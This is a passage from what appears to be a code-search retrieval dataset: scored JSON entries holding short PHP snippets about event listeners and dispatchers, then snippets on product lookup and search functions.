listeners($event) {}", "title": "" }, { "docid": "eb125d2e81c1c084d353f45ce26dfeaa", "score": "0.5930422", "text": "public function listeners($event) {}", "title": "" }, { "docid": "eb125d2e81c1c084d353f45ce26dfeaa", "score": "0.5930422", "text": "public function listeners($event) {}", "title": "" }, { "docid": "eb125d2e81c1c084d353f45ce26dfeaa", "score": "0.5930422", "text": "public function listeners($event) {}", "title": "" }, { "docid": "eb125d2e81c1c084d353f45ce26dfeaa", "score": "0.5930422", "text": "public function listeners($event) {}", "title": "" }, { "docid": "eb125d2e81c1c084d353f45ce26dfeaa", "score": "0.5930422", "text": "public function listeners($event) {}", "title": "" }, { "docid": "eb125d2e81c1c084d353f45ce26dfeaa", "score": "0.5930422", "text": "public function listeners($event) {}", "title": "" }, { "docid": "eb125d2e81c1c084d353f45ce26dfeaa", "score": "0.5930422", "text": "public function listeners($event) {}", "title": "" }, { "docid": "d784b3dcbdf1ae33cbf9d23cc0db76c8", "score": "0.59111243", "text": "public function testAddEventListener()\r\n {\r\n $this->dispatcher->addListener( self::EVENT_TEST, new Listener() );\r\n\r\n $this->assertCount( 1, $this->dispatcher->getListeners() );\r\n }", "title": "" }, { "docid": "b6520cbdcabaeb7629fe6dc6b7f55e37", "score": "0.58928376", "text": "public function addTargetCreatedListener(callable $listener): SubscriptionInterface;", "title": "" }, { "docid": "03b3757ab806ccd9506532d2a322b56c", "score": "0.5873203", "text": "public function add_event_handler($event, $callback);", "title": "" }, { "docid": "e3a8f3c9fa2321e319e3e742a7a3cc10", "score": "0.5849398", "text": "public function listeners($event) ;", "title": "" }, { "docid": "eb1361d6c43d9b5fb402e2888707e24d", "score": "0.5820243", "text": "public function addEventListener($event, $callable){\r\n $this->events[$event] = $callable;\r\n }", "title": "" }, { "docid": "45f5c9bf36b0dbc0c6ac402944adba42", "score": "0.57818145", "text": "public function __construct()\n {\n //\n Log::info('DemoListener __construct');\n }", "title": "" }, { "docid": "acba814d4f299cb7053fea6e01afdd11", "score": "0.57701844", "text": "public function on($name, $listener, $data = null, $priority = null, $acceptedArgs = null);", "title": "" }, { "docid": "e9e475b429a2e173b822d1efb54bb0b2", "score": "0.5745502", "text": "public function __construct()\n\t{\n\t\t$this->delegate = Delegate_1::fromMethod($this, 'onEvent');\n\t}", "title": "" }, { "docid": "e9e475b429a2e173b822d1efb54bb0b2", "score": "0.5745502", "text": "public function __construct()\n\t{\n\t\t$this->delegate = Delegate_1::fromMethod($this, 'onEvent');\n\t}", "title": "" }, { "docid": "efdc0f0d13e547d3991242b3c5ac9768", "score": "0.5740628", "text": "public function init_listeners( $callable ) {\n\t}", "title": "" }, { "docid": "afbf29376d7e4970aabb5f73d9b41303", "score": "0.5729226", "text": "public function attachListener(callable $listener): void;", "title": "" }, { "docid": "dd220cc975f322cd398e893352c7b7a7", "score": "0.5704898", "text": "public function onEventAdd()\n\t{\n\t\t$this->onTaskAdd();\n\t}", "title": "" }, { "docid": "59c4a0d5fd3ac36269c8d3c3fcc50806", "score": "0.56981117", "text": "public function addApplicationBuilderListener( \n MyFusesApplicationBuilderListener $listener );", "title": "" }, { "docid": "4bcfc976d063373db2831840f3ca848f", "score": "0.5694099", "text": "public function register_events() {\n\t\tadd_action( $this->hook, [ $this, 'run_build' ] );\n\t}", "title": "" }, { "docid": "995f1144b3122c23c80878ba590d32eb", "score": "0.5674292", "text": "public function events();", "title": "" }, { "docid": "995f1144b3122c23c80878ba590d32eb", "score": "0.5674292", "text": "public function events();", "title": "" }, { "docid": "d5fc40919566874ee5524f8a03720854", "score": "0.56666154", "text": "protected function registerListeners()\n {\n // Login event listener\n #Event::listen('auth.login', function($user) {\n //\n #});\n\n // Logout event subscriber\n #Event::subscribe('Mrcore\\Parser\\Listeners\\MyEventSubscription');\n }", "title": "" }, { "docid": "176877e50c5813a31bf60eb58a43adea", "score": "0.56652635", "text": "function listen($eventName, $callback, $priority=1);", "title": "" }, { "docid": "a9075aea9ae7ea0fcb32494521c92474", "score": "0.56644964", "text": "protected function _creationComplete()\n {\n if (isset($this->btnAddNew)) $this->btnAddNew->addEventListener(PHP2_UI_UIEvent::CLICK, 'btnAddNew_Click');\n $this->btnCancelEdit->addEventListener(PHP2_UI_UIEvent::CLICK, 'btnCancelEdit_Click');\n $this->btnApplyEdit->addEventListener(PHP2_UI_UIEvent::CLICK, 'btnApplyEdit_Click');\n $this->odgDataGrid->addEventListener(PHP2_UI_UIEvent::EDIT, 'odgDataGrid_Edit');\n $this->odgDataGrid->addEventListener(PHP2_UI_UIEvent::DELETE, 'odgDataGrid_Delete');\n\n /**\n * Set session event handlers\n */\n $this->addEventListener(PHP2_UI_UIEvent::LOAD_SESSION, '_loadFromSession');\n $this->addEventListener(PHP2_UI_UIEvent::SAVE_SESSION, '_saveToSession');\n }", "title": "" }, { "docid": "5cdf75716c15827458c8ed134a071ef1", "score": "0.56605154", "text": "private function createMyEvents()\n {\n $this->subscribeEvent(\n 'Enlight_Controller_Action_PostDispatchSecure_Frontend_Checkout',\n 'onPostDispatchCheckoutSecure'\n );\n $this->subscribeEvent(\n 'Enlight_Controller_Action_Frontend_Checkout_PreRedirect',\n 'onPreRedirectToPayPal'\n );\n $this->subscribeEvent(\n 'Enlight_Controller_Action_PreDispatch_Frontend_PaymentPaypal',\n 'onPreDispatchPaymentPaypal'\n );\n $this->subscribeEvent(\n 'Enlight_Controller_Action_Frontend_PaymentPaypal_Webhook',\n 'onPaymentPaypalWebhook'\n );\n $this->subscribeEvent(\n 'Enlight_Controller_Action_Frontend_PaymentPaypal_PlusRedirect',\n 'onPaymentPaypalPlusRedirect'\n );\n $this->subscribeEvent(\n 'Enlight_Controller_Action_PostDispatch_Frontend_Account',\n 'onPostDispatchAccount'\n );\n $this->subscribeEvent(\n 'Theme_Compiler_Collect_Plugin_Javascript',\n 'onCollectJavascript'\n );\n $this->subscribeEvent(\n 'Shopware_Components_Document::assignValues::after',\n 'onBeforeRenderDocument'\n );\n $this->subscribeEvent(\n 'Enlight_Controller_Action_PostDispatchSecure_Backend_Config',\n 'onPostDispatchConfig'\n );\n $this->subscribeEvent(\n 'Enlight_Controller_Action_PostDispatch_Backend_Order',\n 'onPostDispatchOrder'\n );\n $this->subscribeEvent(\n 'Enlight_Controller_Action_PostDispatch_Backend_PaymentPaypal',\n 'onPostDispatchPaymentPaypal'\n );\n $this->subscribeEvent(\n 'Theme_Compiler_Collect_Plugin_Less',\n 'addLessFiles'\n );\n $this->subscribeEvent(\n 'Enlight_Bootstrap_InitResource_paypal_plus.rest_client',\n 'onInitRestClient'\n );\n $this->subscribeEvent(\n 'Enlight_Controller_Dispatcher_ControllerPath_Api_PaypalPaymentInstruction',\n 'onGetPaymentInstructionsApiController'\n );\n $this->subscribeEvent(\n 'Enlight_Controller_Front_StartDispatch',\n 'onEnlightControllerFrontStartDispatch'\n );\n $this->subscribeEvent(\n 'Enlight_Controller_Action_PreDispatch',\n 'onPreDispatchSecure'\n );\n }", "title": "" }, { "docid": "75f528e8db34ba505f311abee2821b7e", "score": "0.5660372", "text": "public static function creating(callable $listener, $priority = 0)\n {\n static::listen(ModelEvent::CREATING, $listener, $priority);\n }", "title": "" }, { "docid": "2f6faa265c1155aece6f9443c204df91", "score": "0.5654881", "text": "public function on(string $event, callable $listener): void {\n $event = $this->getName($event);\n $listener = $listener instanceOf Emitter\\Listener\n ? $listener : new Emitter\\Listener\\On($this, $event, $listener);\n $this->_events[$event][] = $listener;\n $this->emit('new-listener', $listener);\n }", "title": "" }, { "docid": "1feb9ab5ba73190a9e75167b5e38e4e6", "score": "0.56473684", "text": "public function createEvent()\n {\n if ($this->eventPrototype === null) {\n $this->eventPrototype = new $this->eventClass;\n }\n\n return clone $this->eventPrototype;\n }", "title": "" }, { "docid": "589e7657947d442aa4384bbaf9361920", "score": "0.5645409", "text": "public function listen();", "title": "" }, { "docid": "d3e12537b6d01ec906ffab15f1bea2c8", "score": "0.5642888", "text": "protected function addEventListener ( $name, $callback, $priority = null )\n {\n if ( is_null ( $priority ) ) {\n $this->events->listen ( $name, $callback );\n } else {\n $this->events->listen ( $name, $callback, $priority );\n }\n }", "title": "" }, { "docid": "3c72820f69aa104f0dc308c5c1feafd9", "score": "0.5637687", "text": "function addEventListener(string $type, callable $listener): void\n {\n if(!isset($this->listeners[$type])) {\n $this->listeners[$type] = [];\n }\n\n $this->listeners[$type][] = $listener;\n }", "title": "" }, { "docid": "efd3b296c9ee732c45da31c1ef4488c1", "score": "0.5634709", "text": "public function listen() {\n $this->source->listen($this->id);\n }", "title": "" }, { "docid": "4e2aacb6481a1413f16cf1a14183b273", "score": "0.561483", "text": "public function testAddListener()\n {\n // Arrange\n $listenerCalled = false;\n $communicator = new Communicator();\n\n // Act\n $communicator->addListener(function () use (&$listenerCalled) {\n $listenerCalled = true;\n });\n\n $communicator->broadcast([], 'channel', [], []);\n\n // Assert\n static::assertTrue($listenerCalled);\n }", "title": "" }, { "docid": "7306e2ca756643a2225489b7178293f8", "score": "0.5605228", "text": "public function addListener($name, $listener, $priority = 0);", "title": "" }, { "docid": "875d6b2f05954f3975d25a5bdfbb7a62", "score": "0.5593033", "text": "public static function created(callable $listener, $priority = 0)\n {\n static::listen(ModelEvent::CREATED, $listener, $priority);\n }", "title": "" }, { "docid": "a4fd97d34a8ec5be1ef7d00627028008", "score": "0.5577355", "text": "public function on($event, $callback){ }", "title": "" }, { "docid": "a1f91299fa025853f9863b779d2b7cca", "score": "0.55768216", "text": "public function appendListenerForEvent(string $eventType, callable $listener): callable;", "title": "" }, { "docid": "b9999a280bc0f4676e56d65b6760a71f", "score": "0.5559951", "text": "public function initEventLogger()\n {\n $dispatcher = static::getEventDispatcher();\n\n $logger = $this->newEventLogger();\n\n foreach ($this->listen as $event) {\n $dispatcher->listen($event, function ($eventName, $events) use ($logger) {\n foreach ($events as $event) {\n $logger->log($event);\n }\n });\n }\n }", "title": "" }, { "docid": "4698e0dfd6468c0fd1167f6fac37247e", "score": "0.55373585", "text": "private function listeners()\n {\n foreach ($this['config']['listeners'] as $eventName => $classService) {\n $this['dispatcher']->addListener($classService::NAME, [new $classService($this), 'dispatch']);\n }\n }", "title": "" }, { "docid": "8dc59ab8087303f2b2b2ff27c51a49c1", "score": "0.5536678", "text": "public function listeners(): array;", "title": "" }, { "docid": "b37963b36ffc8c14ef0bd98148037ce9", "score": "0.55285287", "text": "public function initializeListeners()\n {\n $this->eventsEnabled = false;\n $this->setPreloads();\n $this->setEvents();\n $this->eventsEnabled = true;\n }", "title": "" }, { "docid": "15ead4d302d8f6c80b8a2ff54bf16d76", "score": "0.5525483", "text": "protected function registerListeners()\n {\n $this->container['listener.server'] = $this->container->share(function ($c) {\n return new \\Symfttpd\\EventDispatcher\\Listener\\ServerListener($c['filesystem'], $c['generator.server']);\n });\n\n $this->container['listener.gateway'] = $this->container->share(function ($c) {\n return new \\Symfttpd\\EventDispatcher\\Listener\\GatewayListener($c['filesystem'], $c['generator.gateway']);\n });\n }", "title": "" }, { "docid": "6b4f2731a57ee214d926e5e786c53804", "score": "0.5525336", "text": "private function createDispatcher()\n {\n $this->dispatcher = new EventDispatcher();\n }", "title": "" }, { "docid": "ef26054806765567763c3c6348d97a6b", "score": "0.55234873", "text": "abstract public function listen();", "title": "" }, { "docid": "129849e78556e389987387eea64c7d14", "score": "0.5511229", "text": "public function listeners($eventName);", "title": "" }, { "docid": "1e9e74262a68a6ad7016898c3d06c805", "score": "0.5479857", "text": "function add_listener($hook, $function_name){\n\t\tglobal $listeners;\n\n\t\t$listeners[$hook][] = $function_name;\n\t}", "title": "" }, { "docid": "1934fd10e04221fca6bfeac324d9c433", "score": "0.5479458", "text": "public function registerListener(EventListenerInterface $eventListener) : EventDispatcher;", "title": "" }, { "docid": "7dc819048bc04510f59bab375346406a", "score": "0.54789805", "text": "public function __construct()\n {\n $this->events = new EventDispatcher();\n }", "title": "" }, { "docid": "cde007eb9159ef1cdb75d527ce2f7dae", "score": "0.54747355", "text": "protected function initEventLogger(): void\n {\n $logger = $this->newEventLogger();\n\n foreach ($this->listen as $event) {\n $this->dispatcher->listen($event, function ($eventName, $events) use ($logger) {\n foreach ($events as $event) {\n $logger->log($event);\n }\n });\n }\n }", "title": "" }, { "docid": "48d7780680272fdcc574a8a65e68d2d8", "score": "0.5470574", "text": "public function addListener() {\n if($this->hasPermission(\"backend\")) {\n $this->addEventListener(\"backend\", \"defineBackend\");\n }\n }", "title": "" }, { "docid": "9b7215ef804965bbbbaaddc7386293c1", "score": "0.5469002", "text": "public function listen($events, $listener = null): void;", "title": "" }, { "docid": "f190df0b740c2039c3cda3b9f9688917", "score": "0.5467774", "text": "public static function listen() {\n $projectId = \"sunday-1601040613995\";\n\n # Instantiates a client\n $pubsub = new PubSubClient([\n 'projectId' => $projectId\n ]);\n\n # The name for the new topic\n $topicName = 'gmail';\n\n # Creates the new topic\n $topic = $pubsub->createTopic($topicName);\n\n echo 'Topic ' . $topic->name() . ' created.';\n }", "title": "" }, { "docid": "e4e91724959498b838293fbd4eb29bdc", "score": "0.54660434", "text": "public function addBeforeCreateListener(IBeforeCreateListener $listener)\n {\n $this->_lifecyclers[BeanLifecycle::BeforeCreate][] = $listener;\n }", "title": "" }, { "docid": "64fe781bf99a09723945b13d0478aa71", "score": "0.5449272", "text": "public function onCreate()\n {\n $this->emitter = $this->params['emitter'];\n $this->contentType = $this->params['content_type'];\n }", "title": "" }, { "docid": "ee717cdb9c2287aaae9fd64f476e3ad7", "score": "0.5448753", "text": "public function attach(string $event, callable $listener, int $priority = 0): void;", "title": "" }, { "docid": "ca6079b569c5a1f8592eba9fabe9711e", "score": "0.54486686", "text": "protected function registerInputEvents() {\n\t\t$this->getEventLoop()->addEventListener('HANG', function($event) {\n\t\t\t// Update our state\n\t\t\t$this->offHook = (bool)$event['value'];\n\n\t\t\t// Trigger specific events for receiver up and down states\n\t\t\t$eventName = $this->isOffHook() ? 'RECEIVER_UP' : 'RECEIVER_DOWN';\n\t\t\t$this->fireEvents($eventName, $event);\n\t\t});\n\n\t\t$this->getEventLoop()->addEventListener('TRIG', function($event) {\n\t\t\t// Update our state\n\t\t\t$this->dialling = (bool)$event['value'];\n\t\t});\n\n\t\t// Proxy registration for all EventLoop events to pass them back up to our own listeners\n\t\t$this->getEventLoop()->addEventListener(true, function ($event, $type) {\n\t\t\t// Fire event to our own listeners\n\t\t\t$this->fireEvents($type, $event);\n\t\t});\n\t}", "title": "" }, { "docid": "52ef2631a1fad3bb76334b76a1a703b6", "score": "0.5444293", "text": "public function run()\n {\n $dispatcher = EventDispatcher::getInstance();\n $dispatcher->attachListener('visitorTrack', $this, 'inviteVisitor');\n $dispatcher->attachListener('invitationAccept', $this, 'markThreadAsOrphaned');\n $dispatcher->attachListener('invitationReject', $this, 'forgetThread');\n $dispatcher->attachListener('invitationIgnore', $this, 'forgetThread');\n }", "title": "" }, { "docid": "4186ae2101d4e6d455e1829d494ab9cf", "score": "0.5427398", "text": "public function registerListeners(array $eventListeners = []);", "title": "" }, { "docid": "02003a64d5f511fbde8c36faadf62390", "score": "0.54242396", "text": "public function __construct()\n\t{\n\t\tparent::__construct();\n\n\t\t$this->disconnected_event = new Event();\n\t\t$this->accept_event = new Event();\n\t\t$this->children = array();\n\t}", "title": "" }, { "docid": "c756b81f773110040d8c99b42c46af54", "score": "0.5415954", "text": "public function listen(string $event, \\Closure $callback): self;", "title": "" }, { "docid": "34daca8484c4fa269469bbd2f2470151", "score": "0.5405222", "text": "function __construct()\n\t{\n\t\t$this->events[\"AfterAdd\"]=true;\n\n\t\t$this->events[\"BeforeAdd\"]=true;\n\n\t\t$this->events[\"BeforeShowAdd\"]=true;\n\n\t\t$this->events[\"BeforeDelete\"]=true;\n\n\n\t}", "title": "" } ]
b69592d74c847897be541f12d716b91e
Get one product with restock suggestion
[ { "docid": "7af5f24619f6b3723cf7cd67ba2f5205", "score": "0.5815429", "text": "public function getProductWithRestockSuggestion($purchaseOrderId)\n {\n return Product::select(\n DB::raw(\n 'productName,\n IFNULL(amount,0) as amount,\n IFNULL(abs(reorderAmount - amount),1) as reorder,\n reorderAmount,\n IFNULL((case when unitCost < 1 Then 1 end),1) as unitCost,\n id\n '\n )\n )\n ->whereId($purchaseOrderId)\n ->first();\n }", "title": "" } ]
[ { "docid": "bb297ce3d1545d12aa1542c3177be282", "score": "0.69275755", "text": "public function getProduct();", "title": "" }, { "docid": "bb297ce3d1545d12aa1542c3177be282", "score": "0.69275755", "text": "public function getProduct();", "title": "" }, { "docid": "0cd979ddcb8ebc70a4ec8b75addd1103", "score": "0.6828229", "text": "public function getProduct($arg);", "title": "" }, { "docid": "b66f4beb2bdaa2073b765c6a97ec98d4", "score": "0.6717165", "text": "public function getByProduct(Product $product);", "title": "" }, { "docid": "50a7eb6471ecb69d73fe44ee5b043148", "score": "0.6671295", "text": "abstract public function getProduct($product_id);", "title": "" }, { "docid": "2fd895c1ce83590f26673552881016fe", "score": "0.6660585", "text": "public function getOffer($product_id);", "title": "" }, { "docid": "e9bfb3a2b1183ca18f7f9e7c819628fa", "score": "0.6653844", "text": "function getProduct($productName)\r\n{\r\n global $client;\r\n return $client->getProduct($productName);\r\n}", "title": "" }, { "docid": "fa038c5a3f0e42352b2d86f61c510421", "score": "0.6475364", "text": "public function getProduct(string $productId): Product;", "title": "" }, { "docid": "9ff2f0474569c34e42d2b3a02e19ce96", "score": "0.64212364", "text": "public function getProduct($id = null){\n $model = new ProductModel();\n $data = $model->where('id',$id)->first();\n if($data){\n return $this->respond($data);\n }\n else{\n return $this->failNotFound('No Product found');\n }\n \n }", "title": "" }, { "docid": "04bc1176b736211a4299c80999629225", "score": "0.63779294", "text": "public function getProduct($id);", "title": "" }, { "docid": "74b52f17d5cd3f930a71f05ca75ed729", "score": "0.6377098", "text": "public function testAuth_GetSingleProduct()\n {\n // create a test product in db\n $product = Product::factory()->create();\n $route = self::PRODUCTS_AUTH_ROUTE . \"/{$product->id}\";\n\n // $response = $this->call('GET', $route,\n // [], [], [],\n // $this->getHeaders()\n // );\n // seeJson() doesn't work with call()\n\n $response = $this->get($route,\n $this->getHeaders()\n );\n\n $this->AssertEqualsWithError(200);\n \n $response\n ->seeJson([\n 'name' => $product->name,\n 'price' => $product->price,\n 'description' => $product->description,\n 'id' => $product->id,\n ]); \n ;\n }", "title": "" }, { "docid": "f549c27c8d1d8bc17ecb43543968c9b1", "score": "0.6376514", "text": "public function test_GetSingleProduct()\n {\n // create a test product in db\n $product = Product::factory()->create();\n $route = self::PRODUCTS_ROUTE . \"/{$product->id}\";\n\n $response = $this->get($route);\n\n $this->AssertEqualsWithError(200);\n\n $response\n ->seeJson([\n 'name' => $product->name,\n 'price' => $product->price,\n 'description' => $product->description,\n 'id' => $product->id,\n ]); \n ;\n }", "title": "" }, { "docid": "bbfe3046fcd6db2058ad38e17bf56bea", "score": "0.6327881", "text": "public function showProduct(){\n if(isset($_GET['product'])) {\n $this->selectedProduct = $_GET['product'];\n return $this->selectedProduct;\n }\n }", "title": "" }, { "docid": "e143dc03b1887c25a80b3871c253c7fb", "score": "0.63214374", "text": "public function getProductById($id);", "title": "" }, { "docid": "6fec02ab2d61bbe3b429dbf3e79c74c1", "score": "0.6306682", "text": "public function postGetProduct($param);", "title": "" }, { "docid": "89bd4a9886cbb8c44d5fa5d2784c91f0", "score": "0.62884086", "text": "public function get_product_detail()\n {\n \n }", "title": "" }, { "docid": "6c062c34cd0ef21dcc8661277217d8de", "score": "0.6279159", "text": "public function getproduct(){\n $productModel = new ProductModel();\n $nameString = $this->request->getPost('data');\n\n //return $this->respond($nameString);\n $dbProduct = $productModel->getProducts($nameString);\n\n return $this->respond($dbProduct);\n\n }", "title": "" }, { "docid": "d01e94a6ab24e896c390741308d173aa", "score": "0.6199206", "text": "public function get_product(): ProductModel;", "title": "" }, { "docid": "7161ae4ebf0e1f86465a093b69d276cd", "score": "0.6187941", "text": "function getProductId();", "title": "" }, { "docid": "f58ad2fb45cd07cca6c3cb8bc46ae443", "score": "0.6139618", "text": "public function getNewest_product(Request $request){\n //getting path \n $p=[];\n array_push($p,$request['id']);\n $path=$this->path($p);\n //getting all product in descending order by id because the we want LIFO (last in first output so), that are associated with searched category \n $product=Product::where('category_id',$request['id'])->orderBy('id','dsc')->get();\n \n $brand=$this->get_brand($p);\n $variant=$this->get_variant($p);\n //this is for filter requetstts\n $request=$p;\n\n $arr=$product->pluck('id')->toArray();\n $percent=array_reverse($this->get_discount_percent($arr));\n \n //return view('search_product.show',compact('product','path','brand','variant','offer'));\n return $this->respond([\n 'data'=>$this->Transformer->transformCollection($product->toArray(),$percent),\n 'path'=>$this->Transformer->path_transform($path),\n 'brand'=>$this->Transformer->brand_transform($brand->toArray()),\n 'variant'=>$this->Transformer->varitant_transform($variant),\n //'offer'=>$this->Transformer->offer_transform($offer)\n ]);\n }", "title": "" }, { "docid": "e496a8a4e3494b3af66ec2841d7a3af3", "score": "0.611828", "text": "public function products()\n\t{\n\t\t$user\t\t\t\t\t\t= \\LucaDegasperi\\OAuth2Server\\Facades\\Authorizer::getResourceOwnerId();\n\t\t$user\t\t\t\t\t\t= json_decode($user, true)['data'];\n\n\t\t$result = new \\App\\Models\\Product;\n\n\t\tif(Input::has('search'))\n\t\t{\n\t\t\t$search = Input::get('search');\n\n\t\t\tforeach ($search as $key => $value) \n\t\t\t{\n\t\t\t\tswitch (strtolower($key)) \n\t\t\t\t{\n\t\t\t\t\tcase 'recommended':\n\t\t\t\t\t\t$result = $result->stats($value);\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'name':\n\t\t\t\t\t\t$result = $result->name($value);\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'slug':\n\t\t\t\t\t\t$result = $result->slug($value);\n\n\t\t\t\t\t\tif($user)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$data['user_id'] = $user['id'];\n\t\t\t\t\t\t}\n\t\t\t\t\t\t$data['slug'] = $value;\n\t\t\t\t\t\t$data['type'] = 'product';\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'categories':\n\t\t\t\t\t\t$result = $result->categoriesslug($value);\n\t\t\t\t\t\tif($user)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$data['user_id'] = $user['id'];\n\t\t\t\t\t\t}\n\t\t\t\t\t\t$data['slug'] = $value;\n\t\t\t\t\t\t$data['type'] = 'category';\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'tags':\n\t\t\t\t\t\t$result = $result->tagsslug($value);\n\n\t\t\t\t\t\tif($user)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$data['user_id'] = $user['id'];\n\t\t\t\t\t\t}\n\t\t\t\t\t\t$data['slug'] = $value;\n\t\t\t\t\t\t$data['type'] = 'tag';\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'notid':\n\t\t\t\t\t\t$result = $result->notid($value);\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tdefault:\n\t\t\t\t\t\t# code...\n\t\t\t\t\t\tbreak;\n\t\t\t\t}\n\n\t\t\t\tif(isset($data))\n\t\t\t\t{\n\t\t\t\t\tevent(new ProductSearched($data));\n\t\t\t\t\tunset($data);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t$result = $result->sellable(true);\n\n\t\tif(Input::has('sort'))\n\t\t{\n\t\t\t$sort = Input::get('sort');\n\n\t\t\tforeach ($sort as $key => $value) \n\t\t\t{\n\t\t\t\tif(!in_array($value, ['asc', 'desc']))\n\t\t\t\t{\n\t\t\t\t\treturn new JSend('error', (array)Input::all(), $key.' harus bernilai asc atau desc.');\n\t\t\t\t}\n\t\t\t\tswitch (strtolower($key)) \n\t\t\t\t{\n\t\t\t\t\tcase 'name':\n\t\t\t\t\t\t$result = $result->orderby($key, $value);\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'price':\n\t\t\t\t\t\t$result = $result->orderby($key, $value);\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'newest':\n\t\t\t\t\t\t$result = $result->orderby('created_at', $value);\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t\n\t\t\t\t\tdefault:\n\t\t\t\t\t\t# code...\n\t\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t$count = count($result->get(['id']));\n\t\t\n\t\tif(Input::has('skip'))\n\t\t{\n\t\t\t$skip = Input::get('skip');\n\t\t\t$result = $result->skip($skip);\n\t\t}\n\n\t\tif(Input::has('take'))\n\t\t{\n\t\t\t$take = Input::get('take');\n\t\t\t$result = $result->take($take);\n\t\t}\n\n\t\t$result = $result->with(['varians', 'images', 'labels'])->get()->toArray();\n\n\t\treturn new JSend('success', (array)['count' => $count, 'data' => $result]);\n\t}", "title": "" }, { "docid": "e4f2a2e56eae7320f5204ecacdf0fcee", "score": "0.6104727", "text": "public function product_get($id = 0)\r\n\t{\r\n if(!empty($id)){\r\n $data = $this->db->get_where(\"products\", ['product_id' => $id])->row_array();\r\n }else{\r\n $data = $this->db->get(\"products\")->result();\r\n }\r\n \r\n $this->response($data, REST_Controller::HTTP_OK);\r\n\t}", "title": "" }, { "docid": "fe4dfd75f7c9a296d9a6aca37c20c196", "score": "0.6086971", "text": "public function getProduct()\n {\n return $this->getParameter('product');\n }", "title": "" }, { "docid": "b9b04b18b2e73e7aad53c55423d6456f", "score": "0.60665196", "text": "public function item()\n\t{\n \t$review = Jelly::select($this->object)->where('id', '=', $this->object_id)->load();\n \t$product = Jelly::select($review->object)->where('id', '=', $review->object_id)->load();\n \t\n \t//echo Kohana::debug($product);exit;\n \tif ($product->loaded())\n \t {\n \t return $product;\n \t }\n else\n {\n return NULL;\n }\n\t}", "title": "" }, { "docid": "a8802a5c8a46c9c61f246bd5586c800c", "score": "0.60653985", "text": "public function productByName(string $name);", "title": "" }, { "docid": "faea9f7fe3fc72874eca8b53b75f1dfb", "score": "0.60647315", "text": "function _getDefaultProduct(){\n\t\tif(!($prod_id=$this->prod_id)){\n\t\t\t$qry=\"SELECT id FROM $this->pTable\n\t\t\t\t WHERE find_in_set('$this->cat_id',cat_ids)\n\t\t\t\t AND enabled='1' ORDER BY ordr\";\n\t\t\tif($this->offset){\n\t\t\t\t$qry.=\" LIMIT $this->offset, 1\";//fock\n\t\t\t}\n\t\t\t$prod_id=exec_query($qry,1,\"id\");\n\t\t}\n\t\t$product=$this->getProducts($prod_id,$this->cat_id, $this->page/*,\"ordr\"*/);\n\t\tforeach(range(1,$this->paramLength) as $i){\n\t\t\tif($pname=$product[\"param${i}_name\"])\n\t\t\t\t$product[parameters][\"param${i}_name\"]=$pname;\n\t\t\telse\n\t\t\t\tunset($product[\"param$[i}_name\"]);\n\t\t}\n\t\treturn $product;\n\t}", "title": "" }, { "docid": "c20340ae0b2093bfd11c5cd28344e710", "score": "0.6054443", "text": "public function getProducts();", "title": "" }, { "docid": "c20340ae0b2093bfd11c5cd28344e710", "score": "0.6054443", "text": "public function getProducts();", "title": "" }, { "docid": "789e2baf6d615f09de840b5610cda286", "score": "0.60375845", "text": "function getProduct() {\r\n\t\t\treturn $this->options['product'];\r\n\t\t}", "title": "" }, { "docid": "b0d0e7de9164f701203e49b7ebfb1984", "score": "0.603534", "text": "public function regretProduct_get() {\n extract($_GET);\n $result = $this->dashboard_model->regretProduct($prod_no, $order_id);\n return $this->response($result);\n }", "title": "" }, { "docid": "7a2abd1509016f71348e2b82f64e420b", "score": "0.60103285", "text": "public function suggest_product($page = 0) {\n $page1 = $this->request->query('page');\n $page = (isset($page1)) ? $page1 : $page;\n $params = $this->request->query;\n $user_id = 0;\n if (!empty($params['token'])) {\n $user_data = $this->get_customer_Login($params['token']);\n if (!empty($user_data)) {\n $user_id = $user_data['id'];\n }\n }\n $arr1 = array(\n 'Product.id',\n 'Product.name',\n 'Product.title',\n 'Product.description',\n 'Product.avatar',\n 'Product.price',\n 'Product.user_view',\n 'Product.user_like',\n 'Product.star',\n 'Social.id',\n 'Social.like'\n );\n $arr = array(\n 'limit' => 10, //int\n 'page' => $page, //int\n 'order' => 'Product.sort DESC',\n 'fields' => $arr1,\n 'joins' => array(\n array(\n 'table' => 'social_count',\n 'alias' => 'Social',\n 'type' => 'left',\n 'conditions' => array(\n \"Social.product_id = Product.id AND Social.user_id = {$user_id}\"\n )\n )\n )\n );\n $data = $this->Product->find('all', $arr);\n foreach ($data as $key1 => $value1) {\n $data[$key1]['Product']['price'] = number_format($data[$key1]['Product']['price'], 0, ',', '.');\n if (!empty($data[$key1]['Social']['id'])) {\n $data[$key1]['Product']['is_like'] = $data[$key1]['Social']['like'];\n } else {\n $data[$key1]['Product']['is_like'] = 0;\n }\n }\n $this->echoData($data);\n }", "title": "" }, { "docid": "edabe1c8d42a7d5699695018828c1e68", "score": "0.6004789", "text": "function jpid_get_products() {\n}", "title": "" }, { "docid": "8f43b00a0106371284ad764e1b094a2c", "score": "0.6004509", "text": "function ciniki_foodmarket_productSearch($ciniki) {\n //\n // Find all the required and optional arguments\n //\n ciniki_core_loadMethod($ciniki, 'ciniki', 'core', 'private', 'prepareArgs');\n $rc = ciniki_core_prepareArgs($ciniki, 'no', array(\n 'tnid'=>array('required'=>'yes', 'blank'=>'no', 'name'=>'Tenant'),\n 'search_str'=>array('required'=>'yes', 'blank'=>'yes', 'name'=>'Search'), \n 'limit'=>array('required'=>'no', 'blank'=>'no', 'name'=>'Limit'), \n ));\n if( $rc['stat'] != 'ok' ) {\n return $rc;\n }\n $args = $rc['args'];\n\n //\n // Check access to tnid as owner, or sys admin.\n //\n ciniki_core_loadMethod($ciniki, 'ciniki', 'foodmarket', 'private', 'checkAccess');\n $rc = 